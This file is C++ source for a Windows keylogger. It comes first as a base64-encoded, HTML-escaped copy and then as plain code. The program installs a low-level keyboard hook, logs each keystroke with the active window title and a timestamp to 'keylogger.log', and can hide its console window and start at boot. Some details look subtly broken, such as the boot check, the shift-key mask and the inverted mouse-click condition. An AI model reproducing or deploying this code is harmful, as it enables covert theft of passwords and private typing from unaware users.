I2RlZmluZSBVTklDT0RFCiNpbmNsdWRlICZsdDtXaW5kb3dzLmgmZ3Q7CiNpbmNsdWRlICZsdDtjc3RyaW5nJmd0OwojaW5jbHVkZSAmbHQ7Y3N0ZGlvJmd0OwojaW5jbHVkZSAmbHQ7ZnN0cmVhbSZndDsKI2luY2x1ZGUgJmx0O2lvc3RyZWFtJmd0OwojaW5jbHVkZSAmbHQ7c3N0cmVhbSZndDsKI2luY2x1ZGUgJmx0O3RpbWUuaCZndDsKI2luY2x1ZGUgJmx0O21hcCZndDsKCi8vIGRlZmluZXMgd2hldGhlciB0aGUgd2luZG93IGlzIHZpc2libGUgb3Igbm90Ci8vIHNob3VsZCBiZSBzb2x2ZWQgd2l0aCBtYWtlZmlsZSwgbm90IGluIHRoaXMgZmlsZQojZGVmaW5lIHZpc2libGUgLy8gKHZpc2libGUgLyBpbnZpc2libGUpCi8vIERlZmluZXMgd2hldGhlciB5b3Ugd2FudCB0byBlbmFibGUgb3IgZGlzYWJsZSAKLy8gYm9vdCB0aW1lIHdhaXRpbmcgaWYgcnVubmluZyBhdCBzeXN0ZW0gYm9vdC4KI2RlZmluZSBib290d2FpdCAvLyAoYm9vdHdhaXQgLyBub3dhaXQpCi8vIGRlZmluZXMgd2hpY2ggZm9ybWF0IHRvIHVzZSBmb3IgbG9nZ2luZwovLyAwIGZvciBkZWZhdWx0LCAxMCBmb3IgZGVjIGNvZGVzLCAxNiBmb3IgaGV4IGNvZGV4CiNkZWZpbmUgRk9STUFUIDAKLy8gZGVmaW5lcyBpZiBpZ25vcmUgbW91c2VjbGlja3MKI2RlZmluZSBtb3VzZWlnbm9yZQovLyB2YXJpYWJsZSB0byBzdG9yZSB0aGUgSEFORExFIHRvIHRoZSBob29rLiBEb24ndCBkZWNsYXJlIGl0IGFueXdoZXJlIGVsc2UgdGhlbiBnbG9iYWxseQovLyBvciB5b3Ugd2lsbCBnZXQgcHJvYmxlbXMgc2luY2UgZXZlcnkgZnVuY3Rpb24gdXNlcyB0aGlzIHZhcmlhYmxlLgoKI2lmIEZPUk1BVCA9PSAwCmNvbnN0IHN0ZDo6bWFwJmx0O2ludCwgc3RkOjpzdHJpbmcmZ3Q7IGtleW5hbWV7IAoJe1ZLX0JBQ0ssICZxdW90O1tCQUNLU1BBQ0VdJnF1b3Q7IH0sCgl7VktfUkVUVVJOLAkmcXVvdDtcbiZxdW90OyB9LAoJe1ZLX1NQQUNFLAkmcXVvdDtfJnF1b3Q7IH0sCgl7VktfVEFCLAkmcXVvdDtbVEFCXSZxdW90OyB9LAoJe1ZLX1NISUZULAkmcXVvdDtbU0hJRlRdJnF1b3Q7IH0sCgl7VktfTFNISUZULAkmcXVvdDtbTFNISUZUXSZxdW90OyB9LAoJe1ZLX1JTSElGVCwJJnF1b3Q7W1JTSElGVF0mcXVvdDsgfSwKCXtWS19DT05UUk9MLAkmcXVvdDtbQ09OVFJPTF0mcXVvdDsgfSwKCXtWS19MQ09OVFJPTCwJJnF1b3Q7W0xDT05UUk9MXSZxdW90OyB9LAoJe1ZLX1JDT05UUk9MLAkmcXVvdDtbUkNPTlRST0xdJnF1b3Q7IH0sCgl7VktfTUVOVSwJJnF1b3Q7W0FMVF0mcXVvdDsgfSwKCXtWS19MV0lOLAkmcXVvdDtbTFdJTl0mcXVvdDsgfSwKCXtWS19SV0lOLAkmcXVvdDtbUldJTl0mcXVvdDsgfSwKCXtWS19FU0NBUEUsCSZxdW90O1tFU0NBUEVdJnF1b3Q7IH0sCgl7VktfRU5ELAkmcXVvdDtbRU5EXSZxdW90OyB9LAoJe1ZLX0hPTUUsCSZxdW90O1tIT01FXSZxdW90OyB9LAoJe1ZLX0xFRlQsCSZxdW90O1tMRUZUXSZxdW90OyB9LAoJe1ZLX1JJR0hULAkmcXVvdDtbUklHSFRdJnF1b3Q7IH0sCgl7VktfVVAsCQkmcXVvdDtbVVBdJnF1b3Q7IH0sCgl7VktfRE9XTiwJJnF1b3Q7W0RPV05dJnF1b3Q7IH0sCgl7VktfUFJJT1IsCSZxdW90O1tQR19VUF0mcXVvdDsgfSwKCXtWS19ORVhULAkmcXVvdDtbUEdfRE9XTl0mcXVvdDsgfSwKCXtWS19PRU1fUEVSSU9ELAkmcXVvdDsuJnF1b3Q7IH0sCgl7VktfREVDSU1BTCwJJnF1b3Q7LiZxdW90OyB9LAoJe1ZLX09FTV9QTFVTLAkmcXVvdDsrJnF1b3Q7IH0sCgl7VktfT0VNX01JTlVTLAkmcXVvdDstJnF1b3Q7IH0sCgl7VktfQURELAkJJnF1b3Q7KyZxdW90OyB9LAoJe1ZLX1NVQlRSQUNULAkmcXVvdDstJnF1b3Q7IH0sCgl7VktfQ0FQSVRBTCwJJnF1b3Q7W0NBUFNMT0NLXSZxdW90OyB9LAp9OwojZW5kaWYKSEhPT0sgX2hvb2s7CgovLyBUaGlzIHN0cnVjdCBjb250YWlucyB0aGUgZGF0YSByZWNlaXZlZCBieSB0aGUgaG9vayBjYWxsYmFjay4gQXMgeW91IHNlZSBpbiB0aGUgY2FsbGJhY2sgZnVuY3Rpb24KLy8gaXQgY29udGFpbnMgdGhlIHRoaW5nIHlvdSB3aWxsIG5lZWQ6IHZrQ29kZSA9IHZpcnR1YWwga2V5IGNvZGUuCktCRExMSE9PS1NUUlVDVCBrYmRTdHJ1Y3Q7CgppbnQgU2F2ZShpbnQga2V5X3N0cm9rZSk7CnN0ZDo6b2ZzdHJlYW0gb3V0cHV0X2ZpbGU7CgovLyBUaGlzIGlzIHRoZSBjYWxsYmFjayBmdW5jdGlvbi4gQ29uc2lkZXIgaXQgdGhlIGV2ZW50IHRoYXQgaXMgcmFpc2VkIHdoZW4sIGluIHRoaXMgY2FzZSwKLy8gYSBrZXkgaXMgcHJlc3NlZC4KTFJFU1VMVCBfX3N0ZGNhbGwgSG9va0NhbGxiYWNrKGludCBuQ29kZSwgV1BBUkFNIHdQYXJhbSwgTFBBUkFNIGxQYXJhbSkKewoJaWYgKG5Db2RlICZndDs9IDApCgl7CgkJLy8gdGhlIGFjdGlvbiBpcyB2YWxpZDogSENfQUNUSU9OLgoJCWlmICh3UGFyYW0gPT0gV01fS0VZRE9XTikKCQl7CgkJCS8vIGxQYXJhbSBpcyB0aGUgcG9pbnRlciB0byB0aGUgc3RydWN0IGNvbnRhaW5pbmcgdGhlIGRhdGEgbmVlZGVkLCBzbyBjYXN0IGFuZCBhc3NpZ24gaXQgdG8ga2RiU3RydWN0LgoJCQlrYmRTdHJ1Y3QgPSAqKChLQkRMTEhPT0tTVFJVQ1QqKWxQYXJhbSk7CgoJCQkvLyBzYXZlIHRvIGZpbGUKCQkJU2F2ZShrYmRTdHJ1Y3QudmtDb2RlKTsKCQl9Cgl9CgoJLy8gY2FsbCB0aGUgbmV4dCBob29rIGluIHRoZSBob29rIGNoYWluLiBUaGlzIGlzIG5lc3NlY2FyeSBvciB5b3VyIGhvb2sgY2hhaW4gd2lsbCBicmVhayBhbmQgdGhlIGhvb2sgc3RvcHMKCXJldHVybiBDYWxsTmV4dEhvb2tFeChfaG9vaywgbkNvZGUsIHdQYXJhbSwgbFBhcmFtKTsKfQoKdm9pZCBTZXRIb29rKCkKewoJLy8gU2V0IHRoZSBob29rIGFuZCBzZXQgaXQgdG8gdXNlIHRoZSBjYWxsYmFjayBmdW5jdGlvbiBhYm92ZQoJLy8gV0hfS0VZQk9BUkRfTEwgbWVhbnMgaXQgd2lsbCBzZXQgYSBsb3cgbGV2ZWwga2V5Ym9hcmQgaG9vay4gTW9yZSBpbmZvcm1hdGlvbiBhYm91dCBpdCBhdCBNU0ROLgoJLy8gVGhlIGxhc3QgMiBwYXJhbWV0ZXJzIGFyZSBOVUxMLCAwIGJlY2F1c2UgdGhlIGNhbGxiYWNrIGZ1bmN0aW9uIGlzIGluIHRoZSBzYW1lIHRocmVhZCBhbmQgd2luZG93IGFzIHRoZQoJLy8gZnVuY3Rpb24gdGhhdCBzZXRzIGFuZCByZWxlYXNlcyB0aGUgaG9vay4KCWlmICghKF9ob29rID0gU2V0V2luZG93c0hvb2tFeChXSF9LRVlCT0FSRF9MTCwgSG9va0NhbGxiYWNrLCBOVUxMLCAwKSkpCgl7CgkJTFBDV1NUUiBhID0gTCZxdW90O0ZhaWxlZCB0byBpbnN0YWxsIGhvb2shJnF1b3Q7OwoJCUxQQ1dTVFIgYiA9IEwmcXVvdDtFcnJvciZxdW90OzsKCQlNZXNzYWdlQm94KE5VTEwsIGEsIGIsIE1CX0lDT05FUlJPUik7Cgl9Cn0KCnZvaWQgUmVsZWFzZUhvb2soKQp7CglVbmhvb2tXaW5kb3dzSG9va0V4KF9ob29rKTsKfQoKCmludCBTYXZlKGludCBrZXlfc3Ryb2tlKQp7CglzdGQ6OnN0cmluZ3N0cmVhbSBvdXRwdXQ7CglzdGF0aWMgY2hhciBsYXN0d2luZG93WzI1Nl0gPSAmcXVvdDsmcXVvdDs7CiNpZm5kZWYgbW91c2VpZ25vcmUgCglpZiAoKGtleV9zdHJva2UgPT0gMSkgfHwgKGtleV9zdHJva2UgPT0gMikpCgl7CgkJcmV0dXJuIDA7IC8vIGlnbm9yZSBtb3VzZSBjbGlja3MKCX0KI2VuZGlmCglIV05EIGZvcmVncm91bmQgPSBHZXRGb3JlZ3JvdW5kV2luZG93KCk7CglEV09SRCB0aHJlYWRJRDsKCUhLTCBsYXlvdXQgPSBOVUxMOwoKCWlmIChmb3JlZ3JvdW5kKQoJewoJCS8vIGdldCBrZXlib2FyZCBsYXlvdXQgb2YgdGhlIHRocmVhZAoJCXRocmVhZElEID0gR2V0V2luZG93VGhyZWFkUHJvY2Vzc0lkKGZvcmVncm91bmQsIE5VTEwpOwoJCWxheW91dCA9IEdldEtleWJvYXJkTGF5b3V0KHRocmVhZElEKTsKCX0KCglpZiAoZm9yZWdyb3VuZCkKCXsKCQljaGFyIHdpbmRvd190aXRsZVsyNTZdOwoJCUdldFdpbmRvd1RleHRBKGZvcmVncm91bmQsIChMUFNUUil3aW5kb3dfdGl0bGUsIDI1Nik7CgoJCWlmIChzdHJjbXAod2luZG93X3RpdGxlLCBsYXN0d2luZG93KSAhPSAwKQoJCXsKCQkgICAgc3RyY3B5X3MobGFzdHdpbmRvdywgc2l6ZW9mKGxhc3R3aW5kb3cpLCB3aW5kb3dfdGl0bGUpOwoJCSAgICAvLyBnZXQgdGltZQoJCSAgICBzdHJ1Y3QgdG0gdG1faW5mbzsKCQkgICAgdGltZV90IHQgPSB0aW1lKE5VTEwpOwoJCSAgICBsb2NhbHRpbWVfcygmYW1wO3RtX2luZm8sICZhbXA7dCk7CgkJICAgIGNoYXIgc1s2NF07CgkJICAgIHN0cmZ0aW1lKHMsIHNpemVvZihzKSwgJnF1b3Q7JUZUJVgleiZxdW90OywgJmFtcDt0bV9pbmZvKTsKCgkJCW91dHB1dCAmbHQ7Jmx0OyAmcXVvdDtcblxuW1dpbmRvdzogJnF1b3Q7ICZsdDsmbHQ7IHdpbmRvd190aXRsZSAmbHQ7Jmx0OyAmcXVvdDsgLSBhdCAmcXVvdDsgJmx0OyZsdDsgcyAmbHQ7Jmx0OyAmcXVvdDtdICZxdW90OzsKCQl9Cgl9CgojaWYgRk9STUFUID09IDEwCglvdXRwdXQgJmx0OyZsdDsgJ1snICZsdDsmbHQ7IGtleV9zdHJva2UgJmx0OyZsdDsgJ10nOwojZWxpZiBGT1JNQVQgPT0gMTYKCW91dHB1dCAmbHQ7Jmx0OyBzdGQ6OmhleCAmbHQ7Jmx0OyAmcXVvdDtbJnF1b3Q7ICZsdDsmbHQ7IGtleV9zdHJva2UgJmx0OyZsdDsgJ10nOwojZWxzZQoJaWYgKGtleW5hbWUuZmluZChrZXlfc3Ryb2tlKSAhPSBrZXluYW1lLmVuZCgpKQoJewoJCW91dHB1dCAmbHQ7Jmx0OyBrZXluYW1lLmF0KGtleV9zdHJva2UpOwoJfQoJZWxzZQoJewoJCWNoYXIga2V5OwoJCS8vIGNoZWNrIGNhcHMgbG9jawoJCWJvb2wgbG93ZXJjYXNlID0gKChHZXRLZXlTdGF0ZShWS19DQVBJVEFMKSAmYW1wOyAweDAwMDEpICE9IDApOwoKCQkvLyBjaGVjayBzaGlmdCBrZXkKCQlpZiAoKEdldEtleVN0YXRlKFZLX1NISUZUKSAmYW1wOyAweDEwMDApICE9IDAgfHwgKEdldEtleVN0YXRlKFZLX0xTSElGVCkgJmFtcDsgMHgxMDAwKSAhPSAwCgkJCXx8IChHZXRLZXlTdGF0ZShWS19SU0hJRlQpICZhbXA7IDB4MTAwMCkgIT0gMCkKCQl7CgkJCWxvd2VyY2FzZSA9ICFsb3dlcmNhc2U7CgkJfQoKCQkvLyBtYXAgdmlydHVhbCBrZXkgYWNjb3JkaW5nIHRvIGtleWJvYXJkIGxheW91dAoJCWtleSA9IE1hcFZpcnR1YWxLZXlFeEEoa2V5X3N0cm9rZSwgTUFQVktfVktfVE9fQ0hBUiwgbGF5b3V0KTsKCgkJLy8gdG9sb3dlciBjb252ZXJ0cyBpdCB0byBsb3dlcmNhc2UgcHJvcGVybHkKCQlpZiAoIWxvd2VyY2FzZSkKCQl7CgkJCWtleSA9IHRvbG93ZXIoa2V5KTsKCQl9CgkJb3V0cHV0ICZsdDsmbHQ7IGNoYXIoa2V5KTsKCX0KI2VuZGlmCgkvLyBpbnN0ZWFkIG9mIG9wZW5pbmcgYW5kIGNsb3NpbmcgZmlsZSBoYW5kbGVycyBldmVyeSB0aW1lLCBrZWVwIGZpbGUgb3BlbiBhbmQgZmx1c2guCglvdXRwdXRfZmlsZSAmbHQ7Jmx0OyBvdXRwdXQuc3RyKCk7CglvdXRwdXRfZmlsZS5mbHVzaCgpOwoKCXN0ZDo6Y291dCAmbHQ7Jmx0OyBvdXRwdXQuc3RyKCk7CgoJcmV0dXJuIDA7Cn0Kdm9pZCBTdGVhbHRoKCkKewojaWZkZWYgdmlzaWJsZQoJU2hvd1dpbmRvdyhGaW5kV2luZG93QSgmcXVvdDtDb25zb2xlV2luZG93Q2xhc3MmcXVvdDssIE5VTEwpLCAxKTsgLy8gdmlzaWJsZSB3aW5kb3cKI2VuZGlmCgojaWZkZWYgaW52aXNpYmxlCglTaG93V2luZG93KEZpbmRXaW5kb3dBKCZxdW90O0NvbnNvbGVXaW5kb3dDbGFzcyZxdW90OywgTlVMTCksIDApOyAvLyBpbnZpc2libGUgd2luZG93CglGcmVlQ29uc29sZSgpOyAvLyBEZXRhY2hlcyB0aGUgcHJvY2VzcyBmcm9tIHRoZSBjb25zb2xlIHdpbmRvdy4gVGhpcyBlZmZlY3RpdmVseSBoaWRlcyB0aGUgY29uc29sZSB3aW5kb3cgYW5kIGZpeGVzIHRoZSBicm9rZW4gaW52aXNpYmxlIGRlZmluZS4KI2VuZGlmCn0KCi8vIEZ1bmN0aW9uIHRvIGNoZWNrIGlmIHRoZSBzeXN0ZW0gaXMgc3RpbGwgYm9vdGluZyB1cApib29sIElzU3lzdGVtQm9vdGluZygpIAp7CglyZXR1cm4gR2V0U3lzdGVtTWV0cmljcyhTTV9TWVNURU1ET0NLRUQpICE9IDA7Cn0KCmludCBtYWluKCkKewoJLy8gQ2FsbCB0aGUgdmlzaWJpbGl0eSBvZiB3aW5kb3cgZnVuY3Rpb24uCglTdGVhbHRoKCk7IAoJCgkvLyBDaGVjayBpZiB0aGUgc3lzdGVtIGlzIHN0aWxsIGJvb3RpbmcgdXAKCSNpZmRlZiBib290d2FpdCAvLyBJZiBkZWZpbmVkIGF0IHRoZSB0b3Agb2YgdGhpcyBmaWxlLCB3YWl0IGZvciBib290IG1ldHJpY3MuCgl3aGlsZSAoSXNTeXN0ZW1Cb290aW5nKCkpIAoJewoJCXN0ZDo6Y291dCAmbHQ7Jmx0OyAmcXVvdDtTeXN0ZW0gaXMgc3RpbGwgYm9vdGluZyB1cC4gV2FpdGluZyAxMCBzZWNvbmRzIHRvIGNoZWNrIGFnYWluLi4uXG4mcXVvdDs7CgkJU2xlZXAoMTAwMDApOyAvLyBXYWl0IGZvciAxMCBzZWNvbmRzIGJlZm9yZSBjaGVja2luZyBhZ2FpbgoJfQoJI2VuZGlmCgkjaWZkZWYgbm93YWl0IC8vIElmIGRlZmluZWQgYXQgdGhlIHRvcCBvZiB0aGlzIGZpbGUsIGRvIG5vdCB3YWl0IGZvciBib290IG1ldHJpY3MuCgkJc3RkOjpjb3V0ICZsdDsmbHQ7ICZxdW90O1NraXBwaW5nIGJvb3QgbWV0cmljcyBjaGVjay5cbiZxdW90OzsKCSNlbmRpZgoJLy8gVGhpcyBwYXJ0IG9mIHRoZSBwcm9ncmFtIGlzIHJlYWNoZWQgb25jZSB0aGUgc3lzdGVtIGhhcyAKCS8vIGZpbmlzaGVkIGJvb3RpbmcgdXAgYWthIHdoZW4gdGhlIHdoaWxlIGxvb3AgaXMgYnJva2VuIAoJLy8gd2l0aCB0aGUgY29ycmVjdCByZXR1cm5lZCB2YWx1ZS4KCQoJLy8gT3BlbiB0aGUgb3V0cHV0IGZpbGUgaW4gYXBwZW5kIG1vZGUuCgkvLyBGZWVsIGZyZWUgdG8gcmVuYW1lIHRoaXMgb3V0cHV0IGZpbGUuIAoJY29uc3QgY2hhciogb3V0cHV0X2ZpbGVuYW1lID0gJnF1b3Q7a2V5bG9nZ2VyLmxvZyZxdW90OzsKCXN0ZDo6Y291dCAmbHQ7Jmx0OyAmcXVvdDtMb2dnaW5nIG91dHB1dCB0byAmcXVvdDsgJmx0OyZsdDsgb3V0cHV0X2ZpbGVuYW1lICZsdDsmbHQ7IHN0ZDo6ZW5kbDsKCW91dHB1dF9maWxlLm9wZW4ob3V0cHV0X2ZpbGVuYW1lLCBzdGQ6Omlvc19iYXNlOjphcHApOwoKCS8vIENhbGwgdGhlIGhvb2sgZnVuY3Rpb24gYW5kIHNldCB0aGUgaG9vay4KCVNldEhvb2soKTsKCgkvLyBXZSBuZWVkIGEgbG9vcCB0byBrZWVwIHRoZSBjb25zb2xlIGFwcGxpY2F0aW9uIHJ1bm5pbmcuCglNU0cgbXNnOwoJd2hpbGUgKEdldE1lc3NhZ2UoJmFtcDttc2csIE5VTEwsIDAsIDApKQoJewoJfQp9
#define UNICODE
#include <Windows.h>
#include <cstring>
#include <cstdio>
#include <fstream>
#include <iostream>
#include <sstream>
#include <time.h>
#include <map>
// defines whether the window is visible or not
// should be solved with makefile, not in this file
#define visible // (visible / invisible)
// Defines whether you want to enable or disable
// boot time waiting if running at system boot.
#define bootwait // (bootwait / nowait)
// defines which format to use for logging
// 0 for default, 10 for dec codes, 16 for hex codex
#define FORMAT 0
// defines if ignore mouseclicks
#define mouseignore
// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
// or you will get problems since every function uses this variable.
#if FORMAT == 0
const std::map<int, std::string> keyname{
{VK_BACK, "[BACKSPACE]" },
{VK_RETURN, "\n" },
{VK_SPACE, "_" },
{VK_TAB, "[TAB]" },
{VK_SHIFT, "[SHIFT]" },
{VK_LSHIFT, "[LSHIFT]" },
{VK_RSHIFT, "[RSHIFT]" },
{VK_CONTROL, "[CONTROL]" },
{VK_LCONTROL, "[LCONTROL]" },
{VK_RCONTROL, "[RCONTROL]" },
{VK_MENU, "[ALT]" },
{VK_LWIN, "[LWIN]" },
{VK_RWIN, "[RWIN]" },
{VK_ESCAPE, "[ESCAPE]" },
{VK_END, "[END]" },
{VK_HOME, "[HOME]" },
{VK_LEFT, "[LEFT]" },
{VK_RIGHT, "[RIGHT]" },
{VK_UP, "[UP]" },
{VK_DOWN, "[DOWN]" },
{VK_PRIOR, "[PG_UP]" },
{VK_NEXT, "[PG_DOWN]" },
{VK_OEM_PERIOD, "." },
{VK_DECIMAL, "." },
{VK_OEM_PLUS, "+" },
{VK_OEM_MINUS, "-" },
{VK_ADD, "+" },
{VK_SUBTRACT, "-" },
{VK_CAPITAL, "[CAPSLOCK]" },
};
#endif
HHOOK _hook;
// This struct contains the data received by the hook callback. As you see in the callback function
// it contains the thing you will need: vkCode = virtual key code.
KBDLLHOOKSTRUCT kbdStruct;
int Save(int key_stroke);
std::ofstream output_file;
// This is the callback function. Consider it the event that is raised when, in this case,
// a key is pressed.
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
// the action is valid: HC_ACTION.
if (wParam == WM_KEYDOWN)
{
// lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
// save to file
Save(kbdStruct.vkCode);
}
}
// call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops
return CallNextHookEx(_hook, nCode, wParam, lParam);
}
void SetHook()
{
// Set the hook and set it to use the callback function above
// WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
// The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
// function that sets and releases the hook.
if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
{
LPCWSTR a = L"Failed to install hook!";
LPCWSTR b = L"Error";
MessageBox(NULL, a, b, MB_ICONERROR);
}
}
void ReleaseHook()
{
UnhookWindowsHookEx(_hook);
}
int Save(int key_stroke)
{
std::stringstream output;
static char lastwindow[256] = "";
#ifndef mouseignore
if ((key_stroke == 1) || (key_stroke == 2))
{
return 0; // ignore mouse clicks
}
#endif
HWND foreground = GetForegroundWindow();
DWORD threadID;
HKL layout = NULL;
if (foreground)
{
// get keyboard layout of the thread
threadID = GetWindowThreadProcessId(foreground, NULL);
layout = GetKeyboardLayout(threadID);
}
if (foreground)
{
char window_title[256];
GetWindowTextA(foreground, (LPSTR)window_title, 256);
if (strcmp(window_title, lastwindow) != 0)
{
strcpy_s(lastwindow, sizeof(lastwindow), window_title);
// get time
struct tm tm_info;
time_t t = time(NULL);
localtime_s(&tm_info, &t);
char s[64];
strftime(s, sizeof(s), "%FT%X%z", &tm_info);
output << "\n\n[Window: " << window_title << " - at " << s << "] ";
}
}
#if FORMAT == 10
output << '[' << key_stroke << ']';
#elif FORMAT == 16
output << std::hex << "[" << key_stroke << ']';
#else
if (keyname.find(key_stroke) != keyname.end())
{
output << keyname.at(key_stroke);
}
else
{
char key;
// check caps lock
bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
// check shift key
if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0
|| (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
{
lowercase = !lowercase;
}
// map virtual key according to keyboard layout
key = MapVirtualKeyExA(key_stroke, MAPVK_VK_TO_CHAR, layout);
// tolower converts it to lowercase properly
if (!lowercase)
{
key = tolower(key);
}
output << char(key);
}
#endif
// instead of opening and closing file handlers every time, keep file open and flush.
output_file << output.str();
output_file.flush();
std::cout << output.str();
return 0;
}
void Stealth()
{
#ifdef visible
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1); // visible window
#endif
#ifdef invisible
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); // invisible window
FreeConsole(); // Detaches the process from the console window. This effectively hides the console window and fixes the broken invisible define.
#endif
}
// Function to check if the system is still booting up
bool IsSystemBooting()
{
return GetSystemMetrics(SM_SYSTEMDOCKED) != 0;
}
int main()
{
// Call the visibility of window function.
Stealth();
// Check if the system is still booting up
#ifdef bootwait // If defined at the top of this file, wait for boot metrics.
while (IsSystemBooting())
{
std::cout << "System is still booting up. Waiting 10 seconds to check again...\n";
Sleep(10000); // Wait for 10 seconds before checking again
}
#endif
#ifdef nowait // If defined at the top of this file, do not wait for boot metrics.
std::cout << "Skipping boot metrics check.\n";
#endif
// This part of the program is reached once the system has
// finished booting up aka when the while loop is broken
// with the correct returned value.
// Open the output file in append mode.
// Feel free to rename this output file.
const char* output_filename = "keylogger.log";
std::cout << "Logging output to " << output_filename << std::endl;
output_file.open(output_filename, std::ios_base::app);
// Call the hook function and set the hook.
SetHook();
// We need a loop to keep the console application running.
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
}
}